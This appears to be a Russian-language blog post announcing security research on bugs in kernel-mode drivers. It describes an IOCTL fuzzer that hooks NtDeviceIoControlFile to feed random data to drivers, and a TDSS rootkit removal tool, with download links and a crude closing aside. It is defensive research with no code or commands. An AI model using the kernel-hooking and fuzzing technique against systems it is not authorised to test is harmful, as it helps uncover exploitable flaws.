Многие программы используют драйвера режима ядра как «окно» для доступа в привилегированный режим – Ring 0. В первую очередь это касается защитного ПО: антивирусов, фаерволов, HIPS и программ класса Internet Security. Помимо основных функций, многие драйвера оснащены механизмами взаимодействия с другими компонентами ПО, работающими в режиме пользователя. Неаккуратная реализация такого механизма взаимодействия ставит под угрозу безопасность и стабильность не только данного ПО, но и всей операционной системы.
http://esagelab.ru/files/DriverBugs.pdf

IOCTL Fuzzer (приложение к статье про баги в драйверах):
Программа IOCTL Fuzzer предназначена для автоматизации выявления уязвимостей в драйверах при обработке IRP запросов.
Драйвер фаззера перехватывает функцию ядра NtDeviceIoControlFile, тем самым получая возможность контролировать IRP-запросы от любого приложения к драйверам режима ядра. В процессе работы фаззер подменяет исходный IRP-запрос к заданному драйверу, оставляя неизменными размеры буферов и I/O Control Code, но заменяя исходные входные данные на данные, сгенерированные псевдослучайным образом.
Помимо основного функционала, в программе предусмотрен режим мониторинга. При этом в лог, закрепленный за консолью и/или файлом, выводится общая информация об IRP-запросах или полный дамп данных в шестнадцатеричном формате.
http://www.esagelab.com/files/ioctl_fuzzer-1.1.zip
http://code.google.com/p/ioctlfuzzer/

Rootkit.Win32.TDSS remover:
Утилита Rootkit.Win32.TDSS remover обеспечивает полуавтоматическую чистку системы от руткита TDSS (также известного как Tidserv, TDSServ и Alureon). Программа сканирует систему на предмет наличия скрытых файлов, драйверов и ключей реестра, и позволяет уничтожить найденные вредоносные объекты одним нажатием кнопки.
Замечание: Rootkit.Win32.TDSS remover - универсальный антируткит по своей архитектуре. В процессе сканирования системы утилитой могут быть обнаружены другие руткиты и скрытые объекты.
http://www.esagelab.com/files/tdss_remover_latest.rar


Периодически мне попадается на глаза старый код, который я выкладывал в паблик год-два-три назад, и мне сейчас просто стыдно за ту кривую хуйню, которой этот код по факту является.